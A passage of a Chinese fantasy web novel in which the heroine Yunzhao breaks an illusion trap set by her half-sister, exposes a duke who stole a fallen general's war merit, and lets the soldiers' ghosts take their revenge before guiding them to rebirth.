坐在对面的姜珩立即放下酒盏,关切地倾身:“心儿,可是哪里不适?”
“也不知怎的,”姜绾心声音虚弱,眼角泛着楚楚可怜的泪光,“忽然心口发闷,眼前发黑……阿姊精通医术,可否陪我去偏殿稍作歇息?”
她朝云昭伸出手,指尖微微发颤,任谁看了都要心生怜惜。
姜珩见状立即道:“既然心儿不舒服,云昭你便陪她去一趟。”他语气强硬,“总不能眼睁睁看着妹妹难受。”
李扶音轻轻蹙起黛眉,显然对姜珩这般区别对待姊妹二人的态度感到不适。
李灼灼早就看不过眼,凑到堂姐耳边低语:“你从前是没见着,这位兰台公子对那个妾室所出的妹妹,偏心都偏到胳肢窝了。”
身旁一个与姜绾心交好的贵女小声辩解:“虽是庶出,可自小记在夫人名下,与嫡出的也没什么分别。兄妹相伴长大,偏疼些也是人之常情。”
“正是。况且心儿得了那般吉兆,往后说不定真要飞上枝头。别说兄长,我瞧姜大人和老夫人都更疼爱她些。”
“那位大姑娘毕竟在外漂泊十六年,性子又冷硬,家人亲近不起来也是自然。”
这话说得李灼灼不爱听,当场与之争吵起来。
李扶音一时没说话,但微蹙眉心的模样,显然并不赞同那些贵女的话语。
姜绾心又哀哀唤道:“阿姊,求你了。”
李扶音在旁冷眼瞧着,她虽自小体弱,但性格颇为坚韧,并不喜姜绾心如此撒娇痴缠的做派。
云昭心知这是个局,但众目睽睽之下,若是径直拒绝,难免落人口实。且她也想瞧瞧,姜绾心今日到底想捣什么鬼。
苏氏投来担忧的目光,云昭微微摇头示意无妨,用眼神嘱咐孙婆子等人留在原地,又示意孙婆子等人留在原地。
她从容起身,扶住姜绾心颤抖的手臂,唇角勾起一抹似笑非笑的弧度:
"既然妹妹不适,我陪你去歇息便是。"
二人来到一间僻静的净室。刚一进门,姜绾心突然转身,手中抛出一物——
那是一片薄如蝉翼的透明纱幔,在空中迅速展开,将云昭笼罩其中!
蜃楼蝉翼!
云昭心头一震——
这是《玄异志》中记载的邪门法宝,能制造出逼真的幻境,让人沉沦其中无法自拔。
寻常人一旦被困,少则一两个时
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辰甚至昏沉,多则数日难以挣脱,最终耗尽心力而亡。就是玄师遇到,往往也难以勘破,流连其中!
就在她认出此物的瞬间,眼前景象轰然崩塌!
无边黑暗吞噬了她,冰冷石壁触手可及,浓郁的血腥气从她破碎的衣衫下渗出,弥漫在狭小的空间里。
"阿昭,你既身负凤格,这身鲜血便是最好的引子。"姜珩的声音在耳边响起,冰冷得不带一丝温度。
有人狞笑着将刑具扔在她面前:“阿昭,不想看着你大师兄被剁掉手指吧?还是你想先听听你三师兄的惨叫?”那声音如同**进耳膜,“阿昭,你不想看到你师兄们活着走出去吗?”
姜绾心轻慢的娇笑从阴影中传来:“要怪,就怪你生来卑贱,却偏占了这身凤格。你的血,生来就该为我铺就这锦绣前程。”
幻境中,云昭听见自己沙哑的声音在问:“我师兄……他们,可还活着?”
"破!"
云昭猛地咬破舌尖,一缕鲜红从唇角溢出。她双手在胸前结印,玄瞳全力运转,眸中金光大盛,如旭日破晓!
"玄天正法,洞彻虚妄!清微真传,破——!"
她指尖凝聚起璀璨金芒,在虚空中划出一道繁复的符咒。
那符咒宛如活物,在空中旋转绽放,所过之处,幻境如同破碎的镜面般寸寸碎裂——
密室、刑具、姜珩和姜绾心的身影全都化作飞灰,消散在金光之中。
待最后一缕黑气散尽,云昭已重回净室,额间沁出细密汗珠,呼吸略显急促。
她走到门边角落,俯身拾起那片薄如蝉翼的透明法宝。指腹触及其上,能感受到其中蕴含的阴寒之气。
这“蜃楼蝉翼”炼制极为不易,单是搜集上百只寒蝉翼就需数年光阴,更不要提复杂的炼制过程。梅柔卿绝无可能独自炼成此物,她身后必定有高人指点!
“倒是件好东西。”云昭唇角微勾,指尖轻点蝉翼,一道金光没入其中,暂时封印了它的邪气。
或许她可以用此物炼制一件趁手的法宝!
她转身看向呆立原地的姜绾心,随手一挥,一缕微不可察的金芒没入对方眉心。
比起姜绾心方才的毒计,她此举不过小惩大诫,却足以让这个毫无修为的普通人陷入短暂的幻境,尝尝自己酿的苦果。
云昭推门而出。
迎面就见姜珩快步走来。他面色潮红,呼吸急促,眼中带着几分不正常的狂热。
见云昭要离开,他厉声喝道:“你站住!心儿不是不舒服吗?你把她一人留在净室,自己离开,是何道理?”
云昭懒得理会,但在经过他身边时,忽然闻到他身上若有似无的异香。
她瞬间明白了今日这一出戏的真相——
姜绾心竟是想要一石二鸟,既破坏姜珩的婚事,又要拖她下水!
第101章 颈侧暧昧红痕
“姜珩,”云昭语气平静无波,目光却锐利如刀,“你从不是个笨人,为何就是看不清身边人。”
姜珩冷嗤一声,眼中满是不屑:“心儿自幼待我至诚,岂是你三言两语就能离间的!”
云昭看着他急匆匆奔向姜绾心的背影,唇角勾起一抹讥诮的弧度。
罢了,虽然此事并未在她复仇布局之中,既然这对兄妹一个愿打一个愿挨,就让他们尝尝自己种下的苦果!
她刚步出净室,便见萧启静立在廊下梧桐树的阴影中,玄色侍卫服勾勒出他挺拔的身形。显然,他一直在暗中守护。
“你……”云昭正要开口,萧启却突然退后一步,身形巧妙地被廊柱遮掩。
只见李扶音、李灼灼带着英国公夫人、苏氏等一众女眷正朝这边走来。苏氏瞧见云昭安然无恙地站在门前,紧绷的神色才稍稍放松。
英国公夫人压低声音道:“方才西侧门有几个侍卫被放倒了,怀疑有贼人潜入,这才急着来找你们姊妹。”
侍卫被放倒?
这般明目张胆,不像是阴邪之物的手笔。若是太子或永熙王的人,也不会选择从侧门这般鬼鬼祟祟地潜入。看来,这所谓的贼人,仍是冲着李家来的。
云昭眼底滑过一抹玩味。
真有意思,一个丹阳郡公家的赏荷宴,到底还要掀起多少风浪?与这些暗流涌动相比,姜绾心今日这局,简直连开胃小菜都算不上。
李灼灼拽住云昭手臂,一边朝她身后看去:“她不是一个劲儿嚷嚷不舒服?人呢!”
云昭故作迟疑,还未开口,门内便传来细微的响动,夹杂着女子柔媚的低吟。
一个好奇心重的贵女竟抢在众人之前,一把推开了净室的门。
但见姜珩一袭月白长衫,身姿挺拔如竹,正将娇小的姜绾心揽在怀中,俯身轻吻她仰起的雪白颈项。姜绾心嘤咛一声,软倒在他怀中,无意识地唤道:“殿下……”
这一声“殿下”让姜珩猛地惊醒,他慌乱地推开姜绾心,却为时已晚。
走在最前的李扶音脸色瞬间煞白,纤弱的身子微微晃动。
英国公夫人一脚将门踢上,厉声喝道:“都退下!”
然而几个眼尖的贵女早已看清室内情形,彼此交换着惊诧的目光:
“那是……心儿?”
“那男子是谁?瞧着衣衫有些眼熟。”
不待英国公夫人再说什么,里间的姜珩猛地将门踹开。他打横抱起姜绾心,怒视云昭:“姜云昭——!你到底对心儿做了什么?”
一时间,所有人的目光都聚焦在云昭身上,连李扶音也不例外。
云昭平静地迎视他的怒视:“光天化日,朗朗乾坤,我能做什么?”
“若不是你动了手脚,心儿何以会这般模样!”姜珩厉声质问。
众人朝他怀中的姜绾心看去,但见她双眸迷离,面泛潮红,口中仍喃喃念着“太子殿下”。
苏氏上前一步,扬手便是一记耳光:“逆子!昭儿自小流落在外,吃尽苦头,如今好不容易归家,你平日里对她呼来喝去也就罢了,今日竟还这般污蔑!”
站在最前的李扶音紧抿着唇,看向姜珩的目光中满是失望。
一旁李灼灼则冷笑道:“状元郎,不如你先解释一下,方才在屋里做了什么?”
一众女眷的目光如针般刺在姜珩身上。
他咽了口唾沫,支吾道:“定是这屋子有问题!方才我走进去,见心儿神情恍惚,我一时头晕目眩……”
英国公夫人二话不说,推门而入。
李扶音紧随其后,众女鱼贯而入,在室内转了一圈后,安然无恙地走出。
李扶音声线虽柔,语气却冷若冰霜:“姜大人,不如你说清楚,我家这间净室到底哪里不妥?我李家究竟何处怠慢了你放在心尖上的妹妹?”
“我……”姜珩急忙想要解释,“县主误会了,我不是这个意思……”
李扶音却已后退一步,神色凌然,刻意与之拉开距离。
苏氏唇边凝着一抹冷笑:“临行前千叮万嘱,你何曾听进去半句?”
见姜珩面上闪过一抹悔色,她眸光更寒,“既然你与你父亲一脉相承,非要这般掏心掏肺地疼惜这个‘妹妹’,那便尽管疼惜下去。只盼你将来莫要追悔莫及。”
虽非亲生骨肉,终究是自幼养在膝下,看着他从稚子长成翩翩少年。可时至今日,苏氏心底最后一丝温情已如寒冰消融,再不起半分波澜。
不论姜珩究竟是谁的血脉,纵使他满腹经纶,却眼盲心瞎,对姜绾心这等蛇蝎女子言听计从——
他这辈子的结局已然能看到头了。
众人闹出的动静不小,姜绾心悠悠转醒,很快意识到处境不妙。
她慌忙从姜珩怀中跳下,却腿一软险些跌倒。目光很快锁定站在人群中安然自若的云昭。
云昭朝她莞尔一笑:“妹妹终于清醒了?”
姜绾心回想起昨夜梅柔卿殷殷叮嘱,脸色瞬间惨白。
她转身冲进屋内,片刻后失魂落魄地走出,含恨的美眸死死盯住云昭。
“还给我!”
姜珩见状,连声追问:“心儿,怎么了?可是弄丢了什么东西?”
他虽然因为李扶音的冷眼心烦意乱,但见姜绾心神色前所未有的慌乱,他还是耐心地出言安抚。
众人的目光齐刷刷投向姜绾心。
云昭故作不解:“什么东西?”她上下打量着姜绾心,“我见妹妹衣着整齐,首饰完好,没见你丢了什么。”
此言一出,众人都注意到姜绾心颈侧那抹暧昧的红痕
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几个贵女交换着意味深长的眼神,看向姜珩兄妹的目光都带上了几分异样。
按理说,即便姜绾心是庶出,姜珩却是嫡子,二人是同父异母的兄妹,又自幼一同长大……
可方才那一幕冲击感实在太强,让人不得不多想!
姜绾心自然不敢当着众人的面,跟云昭索要那件法宝。昨夜梅柔卿的叮嘱言犹在耳:
“莫要去招惹云昭,今日赏荷宴自会有‘贵人’收拾她。一旦那人出现,你须得远远避开。”
梅柔卿还严厉告诫她,那件法宝珍贵无比,是她付出极大代价才从一位高人手中求得的,用完后必须完好归还。
可她一时鬼迷心窍,想着这法宝既然如此厉害,何不干脆一石二鸟,将姜云昭和姜珩一并算计?
届时既能毁了兄长的婚事,也让姜云昭在一众贵女面前丢尽脸面,岂不畅快!
直到此刻,看着云昭淡定自若的神情,姜绾心才幡然醒悟:娘亲再三叮嘱她不要招惹云昭,必定是猜到她留有后手,不会那么轻易被一件法宝掌控。
可惜她自作聪明,不仅违背了娘亲的叮嘱,还弄丢了如此珍贵的法宝……
然而就在这时,天色骤然阴沉如墨,狂风卷着豆大的雨点倾盆而下,砸在青石板上噼啪作响。
众女惊呼着四散躲避。李扶音临危不乱,扬声道:"诸位请随我来!"
她提着裙摆走在最前,对府中路径了如指掌,领着众人穿过曲折回廊,欲返回先前宴饮之处与丹阳郡公等人会合。
云昭凝望着这场突如其来的暴雨,眉心紧蹙。
远方天色如墨,雷声隐隐,雨丝中挟着刺骨的阴寒之气,满园花木在狂风中剧烈摇曳,连廊下的灯笼都在剧烈晃动。
这雨,来得邪门。恐怕与莲塘中那些躁动的怨魂脱不了干系。
孙婆子悄无声息地走到云昭身侧,在云昭身侧比了个隐秘的手势。
云昭会意,低声道:“应与我们的事无关,不必贸然插手。”
众人跟随李扶音的脚步,一路走到之前宴客的幽莲苑,却被眼前的景象惊呆了!
但见宴席现场一片狼藉,案几翻倒,珍馐美酒洒落满地。
更骇人的是,地上遍布黏腻的淤泥和残破的荷花荷叶,仿佛狂风肆虐过一般,又像是有什么东西刚从水底爬出,在园中肆意横行。
而此前的满园宾客,竟全都消失得无影无踪!
云昭迅速扫视身侧,见苏氏、莺时、雪信、乔装打扮的赵悉和孙婆子等人俱在,心下稍安。
就在这时,一道凉浸浸的手忽而握住她的手腕。
她侧目望去,只见李扶音面色惨白,双眸死死盯着人群后方,嗓音轻颤:“不对劲。”
“为何我们之中,多了一个人?”
第102章 为何我们之中,多了一个人?
此言一出,云昭神色未变,站在她身侧的赵悉却猛地倒吸一口冷气,一把攥住她的衣袖。
这位平日里勘破无数悬案的京兆府尹,此刻声音抖得比李扶音还要厉害,哑着嗓子低语:“姑奶奶,您可千万撑住!”
他见惯了死尸血腥,知悉人心险恶,但不耽误他怕鬼啊!
上次在府中被云昭超度的小莲他倒是不怕——
那是个善鬼,而且当时云昭手上又是朱砂又是黄符的,光是看着都让人安全感满满!
英国公夫人此时也走过来,问:“阿音,云昭,发生何事?”
李扶音强自镇定,清晰说道:“我很确定,包括我、大伯母、灼灼,姜家夫人并两位小姐,还有几位姊妹在内,以及咱们各自带的丫鬟婆子,一共该是二十二个人。”
在她说话间,李灼灼已用手指点着众人细数。
数到最后,她脸色骤变,望向云昭欲言又止。
云昭轻笑了声。
连廊狭窄,满天昏黑,云昭这一笑,吓得站在斜对角的姜绾心尖叫了声,一旁护着她的姜珩更是脸色泛白。
云昭道:“这把戏也太老套了。”
说着,她抬起两指,缓缓抹过双眸。刹那间她的瞳孔泛起淡金色光泽,如同浸染了月华的古镜,逐一扫过在场每一个人。
就在她的目光锁定人群中某个身影的瞬间,那人竟也毫不掩饰地抬起脸来——
只见那张脸苍白浮肿,双眼流淌着浓稠的黑液,嘴角咧开一个诡异的弧度,直勾勾地盯住云昭。
云昭袖中符箓倏然飞出,精准地贴在对方额间。
她冷声喝道:“自己死得多难看心里没点数?冤有头,债有主,想报仇你自己开口,少在这整这套没用的!”
这一连串动作行云流水,骂得那鬼物浑身一颤。
在符箓的金光中,它那张恐怖的面容渐渐变化,最终显露出一张清秀的少女面庞。
站在云昭身侧的李扶音倒吸一口凉气:“你是……石榴?”她转向众人解释道,“这是后院帮厨的丫鬟。我记得年初她告假回乡了,怎么会……”
那女鬼缓缓张开嘴,露出空荡荡的口腔——她的舌头早已被割去了。
此刻众人早已尽数躲到云昭身后,唯独姜珩和姜绾心还僵立在原地。
但看二人惨白的脸色,是不是早就后悔了也不好说。
云昭心中了然:这个叫石榴的丫鬟定是遭了内宅的毒手,惨死在这座看似风雅的别苑之中。
今日莲池底的百鬼怨魂倾巢而出,浓郁的怨气弥漫整个府邸,这才让这个新死的孤魂也跟着显形作乱。
她神色骤然一凛——
连一个新鬼都受到如此影响,可想而知那些怨魂会有多疯狂,其他宾客的处境该有多凶险!
云昭指尖轻抬,一道清辉自她指尖流淌而出,如月华般没入女鬼眉心,将其稳稳定在原地。
“贵府家事,我不便插手。”她声音清越,在雨声中格外清晰,“暂且将她留在此处,待天晴后你们自去寻个道观,请人好生超度了她。”
李扶音连连点头,望着那被定住的女鬼,眼中闪过一丝怜悯。
云昭又对她道:“我们对这里不熟悉,你可知宾客们可能去了何处?”
李扶音与英国公夫人交换了一个眼神,沉吟道:"往前约半盏茶功夫,有间专门接待宾客的‘听涛阁’。父亲他们许是去那里避雨了。"
雨幕之中,这个答案让云昭的眸光更深沉了几分。
这么近的距离,不止宾客会去,那些怨魂必然也紧随其后。
回想方才种种,她忽然领悟:郑氏母女和李扶音,包括自己的母亲苏氏等人,恐怕是被那布局之人有意支开的。
这是不想伤及无辜?
*
雨幕如织,压抑的寂静中只闻脚步杂沓与水声淅沥。
众人步履匆匆,沿途无人言语,每一张脸上都凝着沉重的阴霾。
待行至李扶音所说的“听涛阁”,还未及踏入,便听里面传来一声女子厉喝:
“李崇——!当年牵涉此事的活人亡者今日齐聚于此,你可敢当着他们的面,说一句真话?!”
云昭正要举步,忽被一只骨节分明的大手轻轻拦住。
抬眸望去,是此前一直隐匿身形跟随的萧启,他凝立如松,剑眉深锁,正侧耳细辨内里动静——
紧接着,一个沉稳如磐石的男声响起:“柳家妹子,今日邀我等前来,便是为了这段公案?”
这声音响起的刹那,不仅萧启眸光一凛,连苏氏身形微僵,袖中的手不自觉地收紧。
萧启缓缓收回手臂,示意云昭入内,却始终保持着与她并肩同行的步幅,宛若最忠诚的护卫。
云昭等人缓步而入,坠在最后的姜珩和姜绾心对视一眼,选择留在外头,并未踏入。
众人踏进厅堂,只见满堂宾客横七竖八倒卧在地,生死不明。
李崇瘫坐在那张紫檀木嵌螺钿太师椅上,面色惊恐,发冠歪斜。浓重的黑气笼罩着整个厅堂,无数怨魂将李崇团团围住。
先前见过的那位姿容艳丽的柳氏手持短刃,正站在李崇面前。
见云昭等人进来,她赤红的双目中迸射出刻骨的恨意:
“好!好!今日你的嫂嫂女儿都来了!天意如此!我便让他们看清楚你的真面目!让世人都知晓,你这丹阳郡公的爵位,是用多少忠魂的血染红的!”
她声音凄厉,字字泣血:“十五年前落雁峡一役,我兄长柳擎天率三千将士死守关隘,浴血奋战七日七夜,最终全军覆没,却重创敌军主力。可你呢?你贪生怕死,临阵脱逃,事后却将功劳尽数占为己有,还污蔑我兄长率部叛逃!”
“那三千将士,连个英名都没能留下!他们的父母妻儿,至今还在承受叛将家眷的污名!”
立在最前的将领缓缓抬头,正是镇守北疆多年的大将军裴寂。
他近日方才奉诏回京,此刻目如寒星,沉声道:“李崇,柳将军的冤屈,你认是不认?”
云昭认出此人正是前些日子当街挥鞭救了自己和母亲的那位将军,不由神色微怔。
李崇浑身剧颤,在极致的恐惧中突然爆发出一阵癫狂的大笑!
“人不为己,天诛地灭!”他面目狰狞,一字一句,“活着才能领赏,**就是一堆枯骨!就算我把功劳还给他们,一群**又如何消受?”
他啐出一口血沫:“况且他们本就是我的部下!我供他们吃喝,给他们发饷,他们的命都是我给的,为我战死,是他们的本分!”
裴寂气得长眸圆睁:“你无耻——!
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”
李崇转而怒视柳氏,破口大骂:“**!这些年我供你锦衣玉食,将你从教坊司救出,让你过人上人的日子,你便是这般报答我的?”
他目露讥诮,缓缓绽开一抹冷笑,“你可一点也不像你兄长!他为人忠义豪爽,而你,是只养不熟的白眼狼!”
柳氏切齿道:“没有你贪功冒认,我岂会流落到教坊,又岂会屈居妾室!若能为我兄长正名,哪怕日日吃糠咽菜,都比跟着你这贼子强上百倍!”
她抬手,欲令怨魂动手,那些黑压压的魂影立即向前逼近,阴风惨惨。
李崇眼底闪过一抹慌乱,他瞥见云昭,眼中骤然迸发出疯狂的光芒,从太师椅上一跃而起,指着云昭嘶吼:
“你不是那个会玄术的姜家丫头吗?快!快杀了这些怨魂!还有这些人,一个不留!”
裴寂面色铁青,身旁的将领怒不可遏:“李崇!你疯了吗?我等皆是朝廷命官!”
李崇仰天狂笑:“区区几个武将,也配与我这个郡公相提并论?今日只要你们**,这桩旧事就永沉水底,再也无人知晓!”
李扶音脸色惨白,死死盯着父亲的秀眸,淌下两行清泪。
英国公夫人上前一步,厉声斥道:“还有我在此!李崇,你连嫂嫂也要灭口吗?”
“嫂嫂休要裹乱!”李崇状若疯魔,又朝云昭嘶吼,“快动手啊!”
一时间,所有人的目光都汇集在云昭身上。
柳氏也红了眼眶,看向云昭的眼神中交织着恐惧与绝望。
云昭平静开口:“这些怨魂,都是当年战死沙场的将士,对吗?当中那位鬼将军,就是你的兄长。”
“不错。”柳氏的眼泪夺眶而出:“你也要让他们魂飞魄散吗?若连最后这点魂魄都不存于世,还有谁能替我兄长讨回公道?”
云昭淡声道:“可今日你若让他们杀了李崇,亡魂沾染生人性命,就会永堕恶鬼道,再难超生。”
柳氏如遭雷击,怔在当场。
李崇闻言更是猖狂大笑:“贱民就是贱民!活着要被我踩在脚下,做了鬼也一样!你们——
永远也报不了这个仇!”
李扶音泪水涟涟,朱唇颤抖,望着李崇的丑态,羞愤得说不出一个字。
云昭此言一出,连悲愤的英国公夫人和一向义字当先的李灼灼都愣住了。
一旁孙婆子紧紧攥着拳头,赵悉也低唤:“云昭……”
唯有萧启依旧平静地望着她。
在众人或质疑或失望的注视下,云昭倏然一笑:“但我有个两全之法,诸位可愿一试?”
所有的怨魂,包括那位始终沉默的鬼将军,身形未动,脑袋齐刷刷转向云昭。
云昭指着仍在狂笑的李崇:“你们一人一口,从他身上撕下一块肉来。消解今生之怨后,我为你们设下往生阵,助你们安然投胎。”
她看向面无人色的李崇,淡淡道:“至于他——
百鬼啃噬,伤及神魂,却不会立即毙命。
活着的人,会替你们看着他受尽折磨,直至寿终正寝。这样,岂不更痛快?”
话音方落,满堂怨魂齐声悲啸,那声音中既有大仇将报的快意,又有终于得以超生的释然。
而李崇的无赖与猖狂,也随着云昭话音落下,戛然而止。
第103章 天不收你,我来了结!
李崇从椅子上滑落,浑身抖如筛糠,惊恐万状地嘶吼:“不!你不能这样对我!”
他隔空指向云昭,极致的恐惧而扭曲变调:"你救我!我是郡公!我有万贯家财,全都给你!!!"
英国公夫人忍无可忍,厉声斥道:“李崇,当年铸下大错已是罪过,如今还要错上加错吗?李家怎会出你这等冒领军功、残害忠良的懦夫!”
李扶音泪如雨下,却仍挺直脊梁,声音虽颤却字字清晰:“爹爹,错了便是错了。那些将士虽是您的部下,却也都是父母含辛茹苦养育的骨肉,是妻子倚门期盼的夫君,是稚子嗷嗷待哺的父亲。
‘老吾老以及人之老’,这是娘亲在世时教我的道理。您可曾想过,那些枉死将士的家人,这十五年来是如何在**与悲痛中度日的?”
“愚蠢!荒谬!”李崇面目狰狞地咆哮,声音中带着癫狂,“和你娘一样愚不可及!放着锦衣玉食不知享福,整日里自寻烦恼!简直是被那些圣贤书读傻了!”
他忽然指着李扶音,发出一阵凄厉的惨笑:“你娘就是日日与你一般胡思乱想,才会郁郁而终!她明明可以安享荣华,却非要为那些贱民忧心!”
李扶音如遭雷击,踉跄着**,纤手捂住朱唇,泪水夺眶而出。
她万万没有想到,竟会从一向疏离却也敬重的父亲口中,听到母亲早逝的真相。
云昭这时突然开口:“李崇,你是不是以为,手握权柄富贵,就能为所欲为?这些人不论生还是死,都要低你一等,就该被你倾轧剥削?”
李崇粗重地喘息着,那双充血的眼睛里闪烁着疯狂的光芒,无声地印证了云昭的推断。
“你可知,”云昭一字一句,如利刃般直刺他的心窝,“就是因为你,你的结发夫人才会年纪轻轻便香消玉殒!
你的长子缠绵病榻,活不过弱冠之年;幼子沉溺酒色,不久将横死街头。
就连你向来疼爱的掌上明珠,也因你姻缘尽毁!而你兄长一家,亦要受你牵连!”
随着她每说一句,李崇的脸色就灰败一分。
他疯狂地摇着头,嘶声力竭地反驳:“不,不是这样!那是他们福薄运浅!没有享福的命!这一切怎会与我相干!”
“你家祖坟风水已破,但真正的祸根在于你作恶多端。”云昭眸光如电,仿佛能洞穿人心,“
你以为无人能惩治你?殊不知恶贯满盈,必遭天谴。你欠下的累累血债,不仅祸及子孙,你自己死后也要永堕无间地狱,受尽炼狱之苦。”
她向前一步,声音陡然转厉:“人治不了你,天必收你。天若不来收你,我今日便让你亲眼见证,什么叫善恶到头终有报!”
说罢,她再不看他一眼,决绝转身。
云昭转身望向厅内众人,以及远远躲在门外的姜珩、姜绾心兄妹,从容不迫地取出那件新得来的“蜃楼蝉翼”。
在姜绾心惊骇的注视下,她将这件稀世法宝往空中一抛,同时咬破指尖,鲜红的血珠在空中划出一道优美的弧线。
“以血为引,以灵为媒,蜃楼幻境,开——!”
她清叱一声,袖中飞出数道金色符箓,与血珠在空中交织成一片绚烂的光幕。那光幕如同活物般流动变幻,散发出令人心神摇曳的玄妙气息。
“都站过来!”她再次清喝,声音中带着不容置疑的威严!
萧启、赵悉、英国公夫人、李灼灼、李扶音、孙婆子、柳氏、裴寂等人迅速聚到她用金粉画下的结界之内。
姜绾心见状不妙,提着裙摆就要冲进来。
姜珩不明所以,但也紧紧跟在姜绾心身后。
就在这一瞬,云昭指尖轻点蝉翼,那道绚烂的光幕骤然扩散,如同涟漪般荡漾开来。
除了结界内的众人,其他所有人都陷入了一场精心编织的美梦之中。倒在地上的宾客们脸上渐渐浮现出安详的笑容,姜珩兄妹也定在原地,神情恍惚。
柳氏含泪抬手,百鬼怨魂如潮水般涌向李崇。
“啊——!”凄厉的惨叫响彻厅堂。
每一道魂影都在李崇身上撕咬下一块血肉,他痛苦地翻滚哀嚎,却始终保持着清醒的神智。
这是云昭特意为他准备的惩罚——
让他清清楚楚地感受每一分剥皮抽骨般的剧痛。
待怨气渐消,云昭双手结印,一道金光从她指尖流淌而出,在空中勾勒出一个繁复的往生阵。
“天地玄黄,宇宙洪荒;魂归其所,灵返其乡。往生极乐,重入轮回!”
随着她清越的咒语声,怨魂们身上的污浊渐渐褪去,露出他们生前的模样。
一个个英姿勃发的年轻将士,铠甲鲜明,目光坚毅。
他们脸上带着释然的微笑,整齐列队,向云昭行了一个庄重的军礼,随后化作点点金光,消失在往生阵中。
最后上前的是鬼将军柳擎天,他恢复了当年的英姿,战袍上的血迹犹在,眉宇间的英气却不减分毫。
“兄长!”柳氏泣不成声,想要飞扑过去,却无法逾越那道神圣的金光。
柳擎天朝妹妹温柔一笑,转身走到云昭面前,从战袍上取下一枚沾染着干涸血迹的青铜箭镞,郑重地放在她掌心。
“这个送你。”他用只有云昭能听懂的鬼语说道,“我们还会再见。”
云昭微微一怔,郑重地接过箭镞。
柳擎天向她颔首致意,身影也渐渐消散在金光中。
往生阵缓缓闭合。
柳氏双膝跪地,朝着云昭深深叩首,额头触及冰冷的青石板,声音哽咽却坚定:“恩**德,妾身柳氏愿终身侍奉左右,以报此恩!”
云昭俯身将她扶起,指尖触及她微颤的肩头:“不必如此。”
她抬眸与萧启交换了一个眼神,见他微微颔首,便温声对柳氏道,“从今往后,你就是这郡公府名正言顺的女主人。”
柳氏愕然抬头。
萧启沉声道:“我会禀明圣上,丹阳郡公已写下认罪书,将落雁峡一役真相和盘托出。陛下圣明,自会还阵亡将士一个公道。”
柳氏简直不敢相信自己的耳朵!
十五年的冤屈,终于得以大白于天下!这是她从前做梦也不敢奢想的事!
一旁的裴寂肃然颔首:“有秦王殿下作保,柳将军和三千将士的忠魂,终可安息了。”
更重要的是,那些将士的家人,也终于可以洗刷冤屈,拿到朝廷颁发的恤典,堂堂正正地开始新的生活。
李扶音强忍泪水,声音轻颤:“姜小姐,我知道父亲罪孽深重,不敢为他求情。只是……”
云昭沉吟道:“我会寻机会去李家祖坟一探究竟。至于你父亲……你可知他的生辰八字。”
待李扶音低声告知后,她指尖轻捻,一道流光在掌心流转。片刻后,她轻声道:“你父亲还有二十年阳寿。”
也就是说,李崇还要受百鬼啃噬的钻心蚀骨之痛,整整二十年之久!
这句话如同惊雷,在地上蜷缩的李崇耳中炸响。他猛地睁大双眼
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,发出一声绝望的哀嚎,随即彻底昏死过去。
李扶音眼角泪珠滚落,在浅色的衣襟上晕开深深浅浅的痕迹。
柳氏则紧握双拳,眼中迸发出大仇得报的快意。
“你也不必伤怀。”云昭淡然道,“李崇活着,比**对你们更有用。”
她看向柳氏,“你好生‘照料’,别让他**。有郡公府在,你后半生才有倚仗。”
又对李扶音道,“趁你父亲尚在,郡公府一时半刻还不会倒。若想成亲,就尽早寻个良人,柳姨娘自会尽心为你操持;若不愿嫁人,也该早做打算,学着撑起这个家业。”
她语气平静,却字字珠玑:“你们二人守望相助,把日子过好才是正经。至于男人……”
她瞥了眼已然昏死过去的李崇,唇角微扬,“只要还吊着一口气,总归还能派上些用场。”
这番话说得李扶音怔在原地,连英国公夫人都忍俊不禁。
赵悉凑过来问:“姑奶奶,这些人怎么处置?”
云昭看向沉醉在美梦中的众人,对英国公夫人道:“待他们醒来,只会记得狂风骤雨,晌午宴席提前结束。
稍后你们以主家身份稍作安抚,接下来几日的赏荷宴,可以不受影响地继续。”
英国公夫人由衷叹服:“若非云昭,今日真不知要如何收场。”
萧启静静凝视着云昭,目光深邃。
能让恩怨得报,亡者往生,生者各得其所,这般处事已远超寻常玄术的范畴。她既能以雷霆之势镇邪除祟,又能以春风化雨之术安抚众生,刚柔并济,实在难得。
难怪闻空大师曾说,云昭是千年难遇的奇才。
雨过天青,澄澈的阳光透过雕花窗棂洒入厅堂,在满地狼藉中投下斑驳的光影。空气中弥漫着泥土与绿植的清新气息,方才的阴霾仿佛不过噩梦一场。
英国公夫人叫醒身旁的仆从,众人有条不紊地安置熟睡的宾客。
李扶音却在这时喊住云昭:“姜小姐……”她走上前,轻声道,“今日你为我卜算的那一卦,可是当真?”
她顿了顿,眸光流转:“还是你早已看出端倪,借卦象提点于我?”
云昭浅笑:“既收了你的银两,岂会妄言?”
李扶音唇角漾开一抹真挚的笑意:“多谢你。”这声道谢发自肺腑,她又问道,“不知姜小姐可知道京城哪家道观擅长超度?我想为石榴好生安排。”
云昭指向身侧的孙婆子:“找她便是。”
李扶音与孙婆子俱是一怔。
“这位是我同乡,”云昭从容解释,“同样精通此道。”
孙婆子没想到云昭竟会主动为她引荐,这正是在践行“千件善事”的承诺。
她郑重地向云昭行了一礼,随即安静地跟在李扶音身旁,准备离去。
就在这时,门外传来侍卫的急报:“太子殿下到——!”
“永熙王到——!”
厅内忙碌的众人顿时僵在原地,英国公夫人只觉头皮发麻:“他们来做什么!”
且不说众多宾客尚在昏睡,光是这满室的泥泞狼藉就令人无从解释!
正在指挥仆从收拾残局的柳氏也是眸光一凛,她看向英国公夫人,脱口道:“不如就说郡公突发急症,赏荷宴提前结束?”
“不可。”云昭走上前,对两位女眷低声道,“正有一事,要请托二位。”
她唇角勾起一抹意味深长的笑:“今日这赏荷宴不仅要继续,还要办得热热闹闹,宾主尽欢!”
第104章 云昭被无形的丝线控制
清漪阁临水而建,四面轩窗洞开,景色秀美。
英国公夫人与苏氏、柳氏三人静立门前,恭候贵客。
太子锦袍玉带,缓步而入,目光在略显空荡的厅内扫过,微微蹙眉:“今日的宾客怎这般稀疏?”
英国公夫人从容应答:“方才那场雨来得突然,扰了午宴。不少宾客都已回房歇息,约好傍晚再聚。”
太子见到苏氏,目光在她脸上打了个转:“苏淑人教女有方,两位千金,一个医术玄术俱佳,一个得享吉兆,皆是京城翘楚。”
苏氏垂眸,脸色淡然:“殿下过誉了。妾身愚钝,不过是孩子们自己争气。”
太子目光很快从苏氏脸上移开。
云昭容貌与苏氏一脉相承,但脾气泼辣,神情鲜活。相比之下,苏氏简直跟个木头似的,沉闷乏味,无趣至极。
永熙王的目光甚至未在三人身上停留。
